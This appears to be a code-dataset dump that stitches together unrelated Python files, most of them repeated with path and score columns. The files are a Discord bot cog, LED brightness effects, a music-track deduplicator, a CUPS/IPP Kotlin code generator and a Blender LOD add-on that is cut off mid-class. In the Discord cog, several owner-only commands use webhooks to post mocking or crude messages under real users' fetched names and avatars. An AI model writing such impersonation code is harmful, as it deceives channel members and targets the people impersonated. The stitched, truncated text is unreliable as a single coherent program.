embed.add_field(name="Evolutions", value=evolution_string, inline=False)
embed.add_field(name="Height", value=height)
embed.add_field(name="Weight", value=weight)
embed.set_footer(text="Powered by Pokeapi")
await ctx.send(embed=embed)
def setup(bot):
bot.add_cog(General(bot)) | modules/general/general.py |
import json
import aiohttp
import discord
from discord.ext import commands
from modules.utils import checks
from modules.utils.weather import data_fetch, data_return, url_meteo
with open('./config/config.json', 'r') as cjson:
config = json.load(cjson)
OWNER = config["owner_id"]
class General(commands.Cog):
conf = {}
def __init__(self, bot):
self.bot = bot
self.config = bot.config
@commands.command()
@commands.guild_only()
async def ping(self, ctx):
"""
Pong !
"""
await ctx.send("Pong !!")
@commands.command()
@commands.guild_only()
async def pong(self, ctx):
"""
Ping !
"""
await ctx.send("Ping !!")
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def jade(self, ctx):
await ctx.message.delete()
webhooks = await ctx.channel.webhooks()
if not webhooks:
webhook = await ctx.channel.create_webhook(name="Jade")
else:
webhook = webhooks[0]
user_id = 292362017006944256
user: discord.User = await self.bot.fetch_user(user_id)
await webhook.send(content="On voit le résultat...", username=user.name, avatar_url=user.avatar_url, wait=True)
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def jade2(self, ctx):
await ctx.message.delete()
await ctx.send("https://i.imgur.com/03SkULK.jpg?1")
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def missette(self, ctx):
await ctx.message.delete()
webhooks = await ctx.channel.webhooks()
if not webhooks:
webhook = await ctx.channel.create_webhook(name="Missette")
else:
webhook = webhooks[0]
user_id = 511135694207451146
user: discord.User = await self.bot.fetch_user(user_id)
await webhook.send(content="Petit faible...", username=user.name, avatar_url=user.avatar_url, wait=True)
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def yume(self, ctx):
await ctx.message.delete()
webhooks = await ctx.channel.webhooks()
if not webhooks:
webhook = await ctx.channel.create_webhook(name="Yume")
else:
webhook = webhooks[0]
user_id = 282233191916634113
user: discord.User = await self.bot.fetch_user(user_id)
await webhook.send(content="Je suis un petit faible", username=user.name, avatar_url=user.avatar_url, wait=True)
@commands.command()
@commands.guild_only()
@checks.is_prince()
async def yume2(self, ctx):
await ctx.message.delete()
await ctx.send("https://i.imgur.com/FOFjRCB.jpg")
webhooks = await ctx.channel.webhooks()
if not webhooks:
webhook = await ctx.channel.create_webhook(name="Le petit prince")
else:
webhook = webhooks[0]
user_id = 282233191916634113
user: discord.User = await self.bot.fetch_user(user_id)
await webhook.send(content="Slurp Slurp Slurp...", username=user.name, avatar_url=user.avatar_url, wait=True)
@commands.command(aliases=['gmto', 'gweather'])
@commands.guild_only()
async def gmeteo(self, ctx, city: str):
"""
Full Weather report
"""
result = url_meteo(city)
fetch = data_fetch(result)
data = data_return(fetch)
condition = f"{data['main']}, {data['description']}"
embed = discord.Embed(
title="Meteo",
color=discord.Colour.dark_red()
)
embed.set_footer(text="Powered by https://openweathermap.org")
embed.add_field(name='🌍 **Location**', value=f"{data['city']}, {data['country']}")
embed.add_field(name="\N{CLOUD} **Condition**", value=condition)
embed.add_field(name="\N{THERMOMETER} **Temperature**", value=data['temp'])
embed.add_field(name='Temperature min', value='{}°C'.format(
data['temp_min']))
embed.add_field(name='Temperature max', value='{}°C'.format(
data['temp_max']))
embed.add_field(name='\N{FACE WITH COLD SWEAT} **Humidity**', value="{}%".format(
data['humidity']))
embed.add_field(name='Pressure', value="{}hPa".format(
data['pressure']))
embed.add_field(name='\N{SUNRISE OVER MOUNTAINS} **Sunrise (UTC)**', value=data['sunrise'])
embed.add_field(name='\N{SUNSET OVER BUILDINGS} **Sunset (UTC)**', value=data['sunset'])
embed.add_field(
name='\N{DASH SYMBOL} **Wind Speed**', value="{}m/s".format(data['wind']))
embed.add_field(name='Cloudiness', value="{}%".format(
data['cloudiness']))
await ctx.send(embed=embed)
@commands.command(aliases=["mto", "weather"])
@commands.guild_only()
async def meteo(self, ctx, city: str):
"""
Simple Weather report
"""
result = url_meteo(city)
fetch = data_fetch(result)
data = data_return(fetch)
condition = f"{data['main']}, {data['description']}"
embed = discord.Embed(
title="Meteo",
color=discord.Colour.dark_red()
)
embed.set_footer(text="Powered by https://openweathermap.org")
embed.add_field(name='🌍 **Location**', value=f"{data['city']}, {data['country']}")
embed.add_field(name="\N{CLOUD} **Condition**", value=condition)
embed.add_field(name='\N{FACE WITH COLD SWEAT} **Humidity**', value="{}%".format(
data['humidity']))
embed.add_field(name="\N{THERMOMETER} **Temperature**", value=data['temp'])
embed.add_field(
name='\N{DASH SYMBOL} **Wind Speed**', value="{}m/s".format(data['wind']))
await ctx.send(embed=embed)
@commands.command()
@commands.guild_only()
async def jump(self, ctx, id: int, channel: discord.TextChannel = None):
"""
Create a direct link to a message
"""
if channel is None:
channel = ctx.message.channel
try:
msg = await channel.fetch_message(id)
except discord.NotFound:
return await ctx.send(
"We can't find the message")
except discord.HTTPException:
return await ctx.send("We can't find the message.")
await ctx.send('Url :{}'.format(msg.jump_url))
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(embed_links=True)
async def pokemon(self, ctx, name_or_id):
"""Show pokemon info"""
# Sources : https://github.com/Jintaku/Jintaku-Cogs-V3/blob/master/pokemon/pokemon.py
try:
headers = {"content-type": "application/json"}
# Queries pokeapi for Name, ID and evolution_chain
async with aiohttp.ClientSession() as session:
async with session.get("https://pokeapi.co/api/v2/pokemon-species/" + name_or_id.lower(),
headers=headers) as r1:
response1 = await r1.json()
except:
return await ctx.send("No pokemon found")
# Handles response1
if response1.get("detail") == "Not found.":
await ctx.send("No pokemon found")
else:
evolution_url = response1["evolution_chain"]["url"]
# Queries pokeapi for Height, Weight, Sprite
async with aiohttp.ClientSession() as session:
async with session.get("https://pokeapi.co/api/v2/pokemon/" + name_or_id.lower(),
headers=headers) as r2:
response2 = await r2.json()
# Queries pokeapi for Evolutions
async with aiohttp.ClientSession() as session:
async with session.get(str(evolution_url), headers=headers) as r3:
response3 = await r3.json()
# Selects english description for embed
description = ""
for i in range(0, len(response1["flavor_text_entries"])):
if response1["flavor_text_entries"][i]["language"]["name"] == "en":
description = response1["flavor_text_entries"][i]["flavor_text"]
break
# Conversion for embed
height = str(response2["height"] / 10.0) + "m"
weight = str(response2["weight"] / 10.0) + "kg"
# Deals with evolution_chain for presentation in embed
evolution = response3["chain"]["evolves_to"]
evolutions = [response3["chain"]["species"]["name"].capitalize()]
while len(evolution) > 0:
evolutions.append(evolution[0]["species"]["name"].capitalize())
evolution = evolution[0]["evolves_to"]
if len(evolutions) == 1:
evolution_string = "No evolutions"
else:
evolution_string = " -> ".join(evolutions)
# Build Embed
embed = discord.Embed()
embed.title = response1["name"].capitalize()
embed.description = description
embed.set_thumbnail(url=response2["sprites"]["front_default"])
embed.add_field(name="Evolutions", value=evolution_string, inline=False)
embed.add_field(name="Height", value=height)
embed.add_field(name="Weight", value=weight)
embed.set_footer(text="Powered by Pokeapi")
await ctx.send(embed=embed)
def setup(bot):
bot.add_cog(General(bot)) | 0.33764 | 0.085862 |
import time
import numpy as np
from ledtrix.effects.coloreffects import effect_complemetary_colors
class EffectExponentialFade():
def __init__(self, lifetime, minimum_brightness = 0):
"""
half_life: float
Half life of decay in milliseconds
"""
self.lifetime = lifetime
self.last_update = time.time()
self.minimum_brightness = minimum_brightness
def initialize(self):
self.last_update = time.time()
def process(self, screen):
time_now = time.time()
# Elapsed time in milliseconds
elapsed_time = (time_now - self.last_update) * 1000
screen.brightness = max(np.exp(-elapsed_time/self.lifetime), self.minimum_brightness)
def trigger(self, screen):
# Trigger and initialize
self.last_update = time.time()
class EffectBlinkConstantly():
def __init__(self, frequency):
self.frequency=frequency
# Initialize direction
self.direction = 1
self.last_update = time.time()
def initialize(self):
self.direction = 1
self.last_update = time.time()
def process(self, screen):
time_now = time.time()
elapsed_time = time_now - self.last_update
self.last_update = time_now
# Deduct new brightness
if self.direction < 0:
phase = np.pi / 2
else:
phase = -np.pi / 2
elapsed_time_scaled = elapsed_time/self.frequency*(np.pi*2)
loc = np.arcsin(2*screen.brightness-1) - phase
if loc < 0:
loc = np.abs(loc)
new_brightness = (np.sin(elapsed_time_scaled+loc+phase) + 1) / 2
if (elapsed_time_scaled+loc > np.pi):
if self.direction < 0:
self.direction = 1
elif self.direction > 0:
self.direction = -1
screen.brightness = new_brightness
def trigger(self, screen):
pass
class EffectComplementaryColor():
def __init__(self, constant_color=True):
self.constant_color = constant_color
# Initialize
self.is_complement = 0
def initialize(self):
self.is_complement = 0
def process(self, screen):
if self.is_complement == 0:
screen.pixel = effect_complemetary_colors(screen.pixel)
if self.constant_color is True:
self.is_complement = 1
def trigger(self, screen):
self.is_complement = 0 | ledtrix/effects/screeneffects.py | import time
import numpy as np
from ledtrix.effects.coloreffects import effect_complemetary_colors
class EffectExponentialFade():
def __init__(self, lifetime, minimum_brightness = 0):
"""
half_life: float
Half life of decay in milliseconds
"""
self.lifetime = lifetime
self.last_update = time.time()
self.minimum_brightness = minimum_brightness
def initialize(self):
self.last_update = time.time()
def process(self, screen):
time_now = time.time()
# Elapsed time in milliseconds
elapsed_time = (time_now - self.last_update) * 1000
screen.brightness = max(np.exp(-elapsed_time/self.lifetime), self.minimum_brightness)
def trigger(self, screen):
# Trigger and initialize
self.last_update = time.time()
class EffectBlinkConstantly():
def __init__(self, frequency):
self.frequency=frequency
# Initialize direction
self.direction = 1
self.last_update = time.time()
def initialize(self):
self.direction = 1
self.last_update = time.time()
def process(self, screen):
time_now = time.time()
elapsed_time = time_now - self.last_update
self.last_update = time_now
# Deduct new brightness
if self.direction < 0:
phase = np.pi / 2
else:
phase = -np.pi / 2
elapsed_time_scaled = elapsed_time/self.frequency*(np.pi*2)
loc = np.arcsin(2*screen.brightness-1) - phase
if loc < 0:
loc = np.abs(loc)
new_brightness = (np.sin(elapsed_time_scaled+loc+phase) + 1) / 2
if (elapsed_time_scaled+loc > np.pi):
if self.direction < 0:
self.direction = 1
elif self.direction > 0:
self.direction = -1
screen.brightness = new_brightness
def trigger(self, screen):
pass
class EffectComplementaryColor():
def __init__(self, constant_color=True):
self.constant_color = constant_color
# Initialize
self.is_complement = 0
def initialize(self):
self.is_complement = 0
def process(self, screen):
if self.is_complement == 0:
screen.pixel = effect_complemetary_colors(screen.pixel)
if self.constant_color is True:
self.is_complement = 1
def trigger(self, screen):
self.is_complement = 0 | 0.669961 | 0.231158 |
from colorama import Fore
from utils.collector import Item
def canonize(source):
stop_symbols = '.,!?:;-\n\r()\''
stop_words = (u"the",)
return [x for x in [y.strip(stop_symbols) for y in source.lower().split()] if x and (x not in stop_words)]
def genshingle(source):
import binascii
shingle_len = 1
out = []
for i in range(len(source) - (shingle_len - 1)):
out.append(binascii.crc32(' '.join([x for x in source[i:i + shingle_len]]).encode('utf-8')))
return out
def compare(source_1, source_2):
source1 = genshingle(canonize(source_1))
source2 = genshingle(canonize(source_2))
same = 0
for i in range(len(source1)):
if source1[i] in source2:
same += 1
return same * 2 / float(len(source1) + len(source2)) * 100
def filter_tracks(items):
from utils.app_config import Config
tacks = Config().config["filter"]
to_delete = []
for i in range(len(items)):
for f in tacks:
if items[i].artist.find(f) != -1:
to_delete.append(i)
continue
for index in range(len(to_delete) - 1, -1, -1):
del items[to_delete[index]]
def filter_equals(items, equals_items):
items_to_delete = []
for equals in equals_items:
items_to_append = []
for i in equals:
items_to_append.append(items[i])
items_to_delete.append(i)
items.append(Item(None, None, None, None, None, items_to_append))
items_to_delete.sort()
result = list(set(items_to_delete))
result.sort(reverse=True)
for index in result:
del items[index]
def process(items):
filter_tracks(items)
print(Fore.RESET + "\n============================================")
print("Finding similar tracks...\n")
equals_items = []
for i in range(0, len(items)):
item = items[i]
to_append = [i]
for j in range(i + 1, len(items) - 1):
another_item = items[j]
title_cmp_factor = compare(item.title, another_item.title)
if title_cmp_factor == 100:
artist_cmp_factor = compare(item.artist, another_item.artist)
if 80 < artist_cmp_factor <= 100:
txt = "\tEquals: %s - %s <%d:%s=%d:%s> %s - %s = %d%%" % (
item.artist,
item.title,
i,
item.network,
j,
another_item.network,
another_item.artist,
another_item.title,
title_cmp_factor
)
to_append.append(j)
print(txt.encode('ascii', 'ignore'))
if len(to_append) > 1:
equals_items.append(to_append)
filter_equals(items, equals_items) | utils/teseract.py |
from colorama import Fore
from utils.collector import Item
def canonize(source):
stop_symbols = '.,!?:;-\n\r()\''
stop_words = (u"the",)
return [x for x in [y.strip(stop_symbols) for y in source.lower().split()] if x and (x not in stop_words)]
def genshingle(source):
import binascii
shingle_len = 1
out = []
for i in range(len(source) - (shingle_len - 1)):
out.append(binascii.crc32(' '.join([x for x in source[i:i + shingle_len]]).encode('utf-8')))
return out
def compare(source_1, source_2):
source1 = genshingle(canonize(source_1))
source2 = genshingle(canonize(source_2))
same = 0
for i in range(len(source1)):
if source1[i] in source2:
same += 1
return same * 2 / float(len(source1) + len(source2)) * 100
def filter_tracks(items):
from utils.app_config import Config
tacks = Config().config["filter"]
to_delete = []
for i in range(len(items)):
for f in tacks:
if items[i].artist.find(f) != -1:
to_delete.append(i)
continue
for index in range(len(to_delete) - 1, -1, -1):
del items[to_delete[index]]
def filter_equals(items, equals_items):
items_to_delete = []
for equals in equals_items:
items_to_append = []
for i in equals:
items_to_append.append(items[i])
items_to_delete.append(i)
items.append(Item(None, None, None, None, None, items_to_append))
items_to_delete.sort()
result = list(set(items_to_delete))
result.sort(reverse=True)
for index in result:
del items[index]
def process(items):
filter_tracks(items)
print(Fore.RESET + "\n============================================")
print("Finding similar tracks...\n")
equals_items = []
for i in range(0, len(items)):
item = items[i]
to_append = [i]
for j in range(i + 1, len(items) - 1):
another_item = items[j]
title_cmp_factor = compare(item.title, another_item.title)
if title_cmp_factor == 100:
artist_cmp_factor = compare(item.artist, another_item.artist)
if 80 < artist_cmp_factor <= 100:
txt = "\tEquals: %s - %s <%d:%s=%d:%s> %s - %s = %d%%" % (
item.artist,
item.title,
i,
item.network,
j,
another_item.network,
another_item.artist,
another_item.title,
title_cmp_factor
)
to_append.append(j)
print(txt.encode('ascii', 'ignore'))
if len(to_append) > 1:
equals_items.append(to_append)
filter_equals(items, equals_items) | 0.312055 | 0.289246 |
import re, pprint, os, sys
from urllib.request import urlopen
from bs4 import BeautifulSoup # sudo apt install python-bs4
from jinja2 import Environment, FileSystemLoader # pip install Jinja2
pp = pprint.PrettyPrinter(indent=2, width=120)
proj_dir = os.path.dirname(os.path.realpath(__file__)) + "/../"
html = urlopen("https://www.cups.org/doc/spec-ipp.html")
cups = BeautifulSoup(html.read(), features="lxml")
out_files = [ ]
operations = { }
types = { }
def find_operations():
# Read ops from the table
table = next(t for t in cups.find_all('table') if t['summary'] == 'Supported Operations')
base_operations = { }
for r in table.find_all('tr'):
cells = r.find_all('td')
if len(cells) == 4 and 'deprecate' not in cells[3].get_text() and '0x4' in cells[2].get_text():
operation = {
'name': cells[0].get_text(),
'version': cells[1].get_text(),
'code': cells[2].get_text(),
'description': cells[3].get_text(),
}
base_operations[operation['name']] = operation
# Now look for the ones that matter
for h3 in cups.find_all('h3', class_='title'):
if "Operation" in h3.get_text() and "Deprecated" not in h3.get_text():
operation = next((key for key in base_operations.keys() if key in h3.get_text()), None)
if operation:
operations[operation] = base_operations[operation]
def find_types():
syntax_re = re.compile(r"""\(.+\)""")
keyword_re = re.compile(r"""'(.*)'(: (.+))?""")
for type in cups.find_all('h4'):
if 'Deprecated' not in type.get_text():
if type.a and syntax_re.search(type.a.contents[0]):
text = type.a.contents[0]
elif syntax_re.search(type.contents[0]):
text = type.contents[0]
else:
text = None
if text:
found = syntax_re.search(text)
name = text[0:found.start()].strip()
syntax = found.group(0).lower()
types[name] = {
'name': name,
'syntax': syntax
}
if 'keyword' in syntax:
# Look for the first ul afterwards
ul = type.next_element
while ul.name != 'ul' and ul.name != 'h4':
ul = ul.next_element
if ul.name == 'ul':
keywords = [ ]
for li in ul.find_all('li'):
m = keyword_re.search(li.contents[0])
keyword = {
'name': m.group(1)
}
if m.group(3):
keyword['description'] = m.group(3)
keywords.append(keyword)
types[name]['keywords'] = keywords
if 'enum' in syntax:
table = type.next_element
while table.name != 'table' and table.name != 'h4':
table = table.next_element
if table.name == 'table':
enums = [ ]
for tr in table.find_all('tr'):
tds = tr.find_all('td')
if len(tds) > 1:
enums.append({'code': tds[0].contents[0], 'description': tds[1].contents[0]})
if enums:
types[name]['enums'] = enums
def fix_ktypes():
name_re = re.compile(r"""name\(.*\)""")
text_re = re.compile(r"""text\(.*\)""")
int_re = re.compile(r"""integer(\(.*\))?""")
keyword_re = re.compile(r"""type[23] keyword""")
for type in types.values():
if 'syntax' not in type:
continue
syntax = type['syntax']
if '1setof ' in syntax:
syntax = syntax.replace('1setof ', '')
set = True
else:
set = False
syntax = syntax.replace('| novalue', '')
if syntax.endswith(')') and syntax.startswith('('):
syntax = syntax[1:-1]
if name_re.match(syntax):
ktype = "NameType"
elif text_re.match(syntax):
ktype = "TextType"
elif int_re.match(syntax):
ktype = "IntType"
elif keyword_re.match(syntax):
ktype = 'KeywordType'
elif syntax == 'uri':
ktype = 'UriType'
elif syntax == 'type2 enum':
if type['name'] != 'printer-type' and type['name'] != 'printer-type-mask':
raise Exception("Unexpected enum %s" % type['name'])
ktype = 'BitfieldType'
elif syntax == 'keyword | name(max)':
ktype = 'KeywordOrNameType'
else:
raise Exception("Unrecognized type %s" % type)
if set:
ktype = "%s.Set" % ktype
if not ktype:
print("Fail on %s" % type)
type['ktype'] = ktype
def prep_file(name, suffix='.kt'):
out_file = os.path.abspath(proj_dir + 'src/main/java/com/hp/jipp/cups/' + camel_class(name) + suffix)
if not os.path.exists(os.path.dirname(out_file)):
os.makedirs(os.path.dirname(out_file))
#print out_file
if out_file in out_files:
warn("About to replace " + out_file + ", two competing definitions?")
out_files.append(out_file)
return out_file
# Accepts any string, returning in the form CamelClass
def camel_class(string):
parts = [word.lower().capitalize() for word in re.split("[ _-]", string) if len(word)]
combined = ""
for part in parts:
part = part.replace('.', 'p')
if combined and combined[-1].isdigit() and part[0].isdigit():
combined += '_'
combined += part
return combined
# Prevent the string from starting with a numeric
def not_numeric(string):
if string[0].isdigit():
return "num" + string
else:
return string
# All current java keywords; must be avoided
java_keywords = [
"abstract", "continue", "for", "new", "switch", "assert", "default", "goto", "package", "synchronized",
"boolean", "do", "if", "private", "this", "break", "double", "implements", "protected", "throw", "byte",
"else", "import", "public", "throws", "case", "enum", "instanceof", "return", "transient", "catch",
"extends", "int", "short", "try", "char", "final", "interface", "static", "void", "class", "finally",
"long", "strictfp", "volatile", "const", "float", "native", "super", "while"
]
# Return a safe version of the enclosed string (prefixed with _ if a java keyword)
def java_safe(string):
if string in java_keywords:
return "_" + string
else:
return string
# Accepts any string, returning in the form camelClass
def camel_member(string):
value = camel_class(string)
if len(value) > 1:
return java_safe(not_numeric(value[0].lower() + value[1:]))
else:
return java_safe(not_numeric(value[0].lower()))
def rstrip_all(text):
return re.sub(' +\n', '\n', text)
def emit_cups():
env = Environment(loader=FileSystemLoader(proj_dir + 'bin'))
env.filters['camel_class'] = camel_class
env.filters['camel_member'] = camel_member
template = env.get_template('cups.kt.tmpl')
with open(prep_file("cups"), "w") as file:
file.write(rstrip_all(template.render(
operations=sorted(operations.values(), key=lambda o: o['code']),
types=sorted(types.values(), key=lambda o: o['name']),
app=os.path.basename(sys.argv[0]))))
find_operations()
find_types()
# Patch up some missing data
types['printer-type-mask']['enum_ref'] = 'printer-type'
types['notify-events'] = {
'name': 'notify-events',
'keywords': [
{ 'name': 'printer-added', 'description': 'Get notified whenever a printer or class is added' },
{ 'name': 'printer-deleted', 'description': 'Get notified whenever a printer or class is deleted' },
{ 'name': 'printer-modified', 'description': 'Get notified whenever a printer or class is modified' },
{ 'name': 'server-audit', 'description': 'Get notified when a security condition occurs' },
{ 'name': 'server-restarted', 'description': 'Get notified when the server is restarted' },
{ 'name': 'server-started', 'description': 'Get notified when the server is started' },
{ 'name': 'server-stopped', 'description': 'Get notified when the server is stopped' },
]}
# Already specified in IPP
del types['printer-dns-sd-name']
del types['job-cancel-after']
del types['job-hold-until']
del types['job-sheets']
fix_ktypes()
emit_cups()
#print(pp.pformat(operations))
#print(pp.pformat(types)) | jipp-core/bin/genCupsTypes.py |
import re, pprint, os, sys
from urllib.request import urlopen
from bs4 import BeautifulSoup # sudo apt install python-bs4
from jinja2 import Environment, FileSystemLoader # pip install Jinja2
pp = pprint.PrettyPrinter(indent=2, width=120)
proj_dir = os.path.dirname(os.path.realpath(__file__)) + "/../"
html = urlopen("https://www.cups.org/doc/spec-ipp.html")
cups = BeautifulSoup(html.read(), features="lxml")
out_files = [ ]
operations = { }
types = { }
def find_operations():
# Read ops from the table
table = next(t for t in cups.find_all('table') if t['summary'] == 'Supported Operations')
base_operations = { }
for r in table.find_all('tr'):
cells = r.find_all('td')
if len(cells) == 4 and 'deprecate' not in cells[3].get_text() and '0x4' in cells[2].get_text():
operation = {
'name': cells[0].get_text(),
'version': cells[1].get_text(),
'code': cells[2].get_text(),
'description': cells[3].get_text(),
}
base_operations[operation['name']] = operation
# Now look for the ones that matter
for h3 in cups.find_all('h3', class_='title'):
if "Operation" in h3.get_text() and "Deprecated" not in h3.get_text():
operation = next((key for key in base_operations.keys() if key in h3.get_text()), None)
if operation:
operations[operation] = base_operations[operation]
def find_types():
syntax_re = re.compile(r"""\(.+\)""")
keyword_re = re.compile(r"""'(.*)'(: (.+))?""")
for type in cups.find_all('h4'):
if 'Deprecated' not in type.get_text():
if type.a and syntax_re.search(type.a.contents[0]):
text = type.a.contents[0]
elif syntax_re.search(type.contents[0]):
text = type.contents[0]
else:
text = None
if text:
found = syntax_re.search(text)
name = text[0:found.start()].strip()
syntax = found.group(0).lower()
types[name] = {
'name': name,
'syntax': syntax
}
if 'keyword' in syntax:
# Look for the first ul afterwards
ul = type.next_element
while ul.name != 'ul' and ul.name != 'h4':
ul = ul.next_element
if ul.name == 'ul':
keywords = [ ]
for li in ul.find_all('li'):
m = keyword_re.search(li.contents[0])
keyword = {
'name': m.group(1)
}
if m.group(3):
keyword['description'] = m.group(3)
keywords.append(keyword)
types[name]['keywords'] = keywords
if 'enum' in syntax:
table = type.next_element
while table.name != 'table' and table.name != 'h4':
table = table.next_element
if table.name == 'table':
enums = [ ]
for tr in table.find_all('tr'):
tds = tr.find_all('td')
if len(tds) > 1:
enums.append({'code': tds[0].contents[0], 'description': tds[1].contents[0]})
if enums:
types[name]['enums'] = enums
def fix_ktypes():
name_re = re.compile(r"""name\(.*\)""")
text_re = re.compile(r"""text\(.*\)""")
int_re = re.compile(r"""integer(\(.*\))?""")
keyword_re = re.compile(r"""type[23] keyword""")
for type in types.values():
if 'syntax' not in type:
continue
syntax = type['syntax']
if '1setof ' in syntax:
syntax = syntax.replace('1setof ', '')
set = True
else:
set = False
syntax = syntax.replace('| novalue', '')
if syntax.endswith(')') and syntax.startswith('('):
syntax = syntax[1:-1]
if name_re.match(syntax):
ktype = "NameType"
elif text_re.match(syntax):
ktype = "TextType"
elif int_re.match(syntax):
ktype = "IntType"
elif keyword_re.match(syntax):
ktype = 'KeywordType'
elif syntax == 'uri':
ktype = 'UriType'
elif syntax == 'type2 enum':
if type['name'] != 'printer-type' and type['name'] != 'printer-type-mask':
raise Exception("Unexpected enum %s" % type['name'])
ktype = 'BitfieldType'
elif syntax == 'keyword | name(max)':
ktype = 'KeywordOrNameType'
else:
raise Exception("Unrecognized type %s" % type)
if set:
ktype = "%s.Set" % ktype
if not ktype:
print("Fail on %s" % type)
type['ktype'] = ktype
def prep_file(name, suffix='.kt'):
out_file = os.path.abspath(proj_dir + 'src/main/java/com/hp/jipp/cups/' + camel_class(name) + suffix)
if not os.path.exists(os.path.dirname(out_file)):
os.makedirs(os.path.dirname(out_file))
#print out_file
if out_file in out_files:
warn("About to replace " + out_file + ", two competing definitions?")
out_files.append(out_file)
return out_file
# Accepts any string, returning in the form CamelClass
def camel_class(string):
parts = [word.lower().capitalize() for word in re.split("[ _-]", string) if len(word)]
combined = ""
for part in parts:
part = part.replace('.', 'p')
if combined and combined[-1].isdigit() and part[0].isdigit():
combined += '_'
combined += part
return combined
# Prevent the string from starting with a numeric
def not_numeric(string):
if string[0].isdigit():
return "num" + string
else:
return string
# All current java keywords; must be avoided
java_keywords = [
"abstract", "continue", "for", "new", "switch", "assert", "default", "goto", "package", "synchronized",
"boolean", "do", "if", "private", "this", "break", "double", "implements", "protected", "throw", "byte",
"else", "import", "public", "throws", "case", "enum", "instanceof", "return", "transient", "catch",
"extends", "int", "short", "try", "char", "final", "interface", "static", "void", "class", "finally",
"long", "strictfp", "volatile", "const", "float", "native", "super", "while"
]
# Return a safe version of the enclosed string (prefixed with _ if a java keyword)
def java_safe(string):
if string in java_keywords:
return "_" + string
else:
return string
# Accepts any string, returning in the form camelClass
def camel_member(string):
value = camel_class(string)
if len(value) > 1:
return java_safe(not_numeric(value[0].lower() + value[1:]))
else:
return java_safe(not_numeric(value[0].lower()))
def rstrip_all(text):
return re.sub(' +\n', '\n', text)
def emit_cups():
env = Environment(loader=FileSystemLoader(proj_dir + 'bin'))
env.filters['camel_class'] = camel_class
env.filters['camel_member'] = camel_member
template = env.get_template('cups.kt.tmpl')
with open(prep_file("cups"), "w") as file:
file.write(rstrip_all(template.render(
operations=sorted(operations.values(), key=lambda o: o['code']),
types=sorted(types.values(), key=lambda o: o['name']),
app=os.path.basename(sys.argv[0]))))
find_operations()
find_types()
# Patch up some missing data
types['printer-type-mask']['enum_ref'] = 'printer-type'
types['notify-events'] = {
'name': 'notify-events',
'keywords': [
{ 'name': 'printer-added', 'description': 'Get notified whenever a printer or class is added' },
{ 'name': 'printer-deleted', 'description': 'Get notified whenever a printer or class is deleted' },
{ 'name': 'printer-modified', 'description': 'Get notified whenever a printer or class is modified' },
{ 'name': 'server-audit', 'description': 'Get notified when a security condition occurs' },
{ 'name': 'server-restarted', 'description': 'Get notified when the server is restarted' },
{ 'name': 'server-started', 'description': 'Get notified when the server is started' },
{ 'name': 'server-stopped', 'description': 'Get notified when the server is stopped' },
]}
# Already specified in IPP
del types['printer-dns-sd-name']
del types['job-cancel-after']
del types['job-hold-until']
del types['job-sheets']
fix_ktypes()
emit_cups()
#print(pp.pformat(operations))
#print(pp.pformat(types)) | 0.240418 | 0.129706 |
import bpy
import uuid
from bpy.types import Menu, Panel, UIList,UILayout,Operator
def findLod(obj,lodLevel,set=None,replace=True):
lod=None
collection=None
if obj.data!=None and "_f3b_Lod" in obj.data:
lodGroup=obj.data["_f3b_Lod"]
lodName="LOD"+str(lodLevel)+"_"
if lodGroup in bpy.context.scene.collection.children:
collection=bpy.context.scene.collection.children[lodGroup]
for llod in collection.objects:
if llod.name.startswith(lodName):
lod=llod
break
if set:
if not lod:
lod= bpy.data.objects.new(lodName+str(uuid.uuid4()),set)
collection.objects.link(lod)
elif replace:
lod.data=set
lod.data["_f3b_Lod"]=lodGroup
return [lod,collection]
def removeLod(lodData):
if not lodData[0]: return
lodData[1].objects.unlink(lodData[0])
bpy.data.objects.remove(lodData[0], do_unlink=True)
def selectLod(obj,lodLevel):
found=False
lodZero=None
if lodLevel != 0:
lodZero=findLod(obj,0,set=obj.data,replace=False)[0]
lod=findLod(obj,lodLevel)[0]
if lod !=None:
obj.data=lod.data
if lodLevel!=0:
# obj.data.materials.clear()
for i in range(0,len(lodZero.data.materials)):
if len(obj.data.materials)<i: obj.data.materials.append(lodZero.data.materials[i])
else: obj.data.materials[i]=lodZero.data.materials[i]
found=True
if lodLevel==0:
lodData=findLod(obj,0)
linked=False
for obj in bpy.context.scene.objects:
if obj.data != None and lodData[0]!=None and obj.data==lodData[0].data:
linked=True
break
if not linked: removeLod(lodData)
found=True
return found
def initLods(obj):
lodGroupName=""
if not "_f3b_Lod" in obj.data:
lodGroupName="LOD_"+str(uuid.uuid4())
obj.data["_f3b_Lod"]=lodGroupName
else:
lodGroupName=obj.data["_f3b_Lod"]
if not lodGroupName in bpy.context.scene.collection.children:
col=bpy.data.collections.new(lodGroupName)
bpy.context.scene.collection.children.link(col)
bpy.context.window.view_layer.layer_collection.children[col.name].exclude=True
selectLod(obj,0)
def setAsLodLevel(obj,lodLevel,lodObj):
if lodObj == None:
lodData=findLod(obj,lodLevel)
removeLod(lodData)
selectLod(obj,0)
else:
lod=findLod(obj,lodLevel,set=lodObj.data)[0]
bpy.data.objects.remove(lodObj, do_unlink=True)
class F3B_TOOLS_lod_show(Operator):
bl_idname = "f3btools.lod_show"
bl_label = "Show lod level"
filename_ext = ""
lodLevel=bpy.props.IntProperty()
target=None
def execute(self, context):
tg=self.target if self.target!=None else bpy.context.active_object
initLods(tg)
selectLod(tg,self.lodLevel)
return {"FINISHED"}
class F3B_TOOLS_lod_remove(Operator):
bl_idname = "f3btools.lod_remove"
bl_label = "Remove lod"
filename_ext = ""
lodLevel=bpy.props.IntProperty()
target=None
def execute(self, context):
tg=self.target if self.target!=None else bpy.context.active_object
setAsLodLevel(tg,self.lodLevel,None)
return {"FINISHED"}
class F3B_TOOLS_lod_assign(Operator):
bl_idname = "f3btools.lod_assign"
bl_label = "Assign lod level"
filename_ext = ""
lodLevel=bpy.props.IntProperty()
target=None
selected=None
def execute(self, context):
tg=self.target if self.target!=None else bpy.context.active_object
sl=self.selected
if not sl:
for o in bpy.context.scene.objects:
if o.select_get() and o != tg:
sl=o
break
if sl:
initLods(tg)
setAsLodLevel(tg,self.lodLevel,sl)
return {"FINISHED"}
class F3B_TOOLS_PT_lod_data_panel(Panel):
bl_label = "Lod"
bl_idname = "F3B_TOOLS_PT_lod_data_panel"
bl_context = "data"
bl_space_type = 'PROPERTIES'
bl_region_type = 'WINDOW'
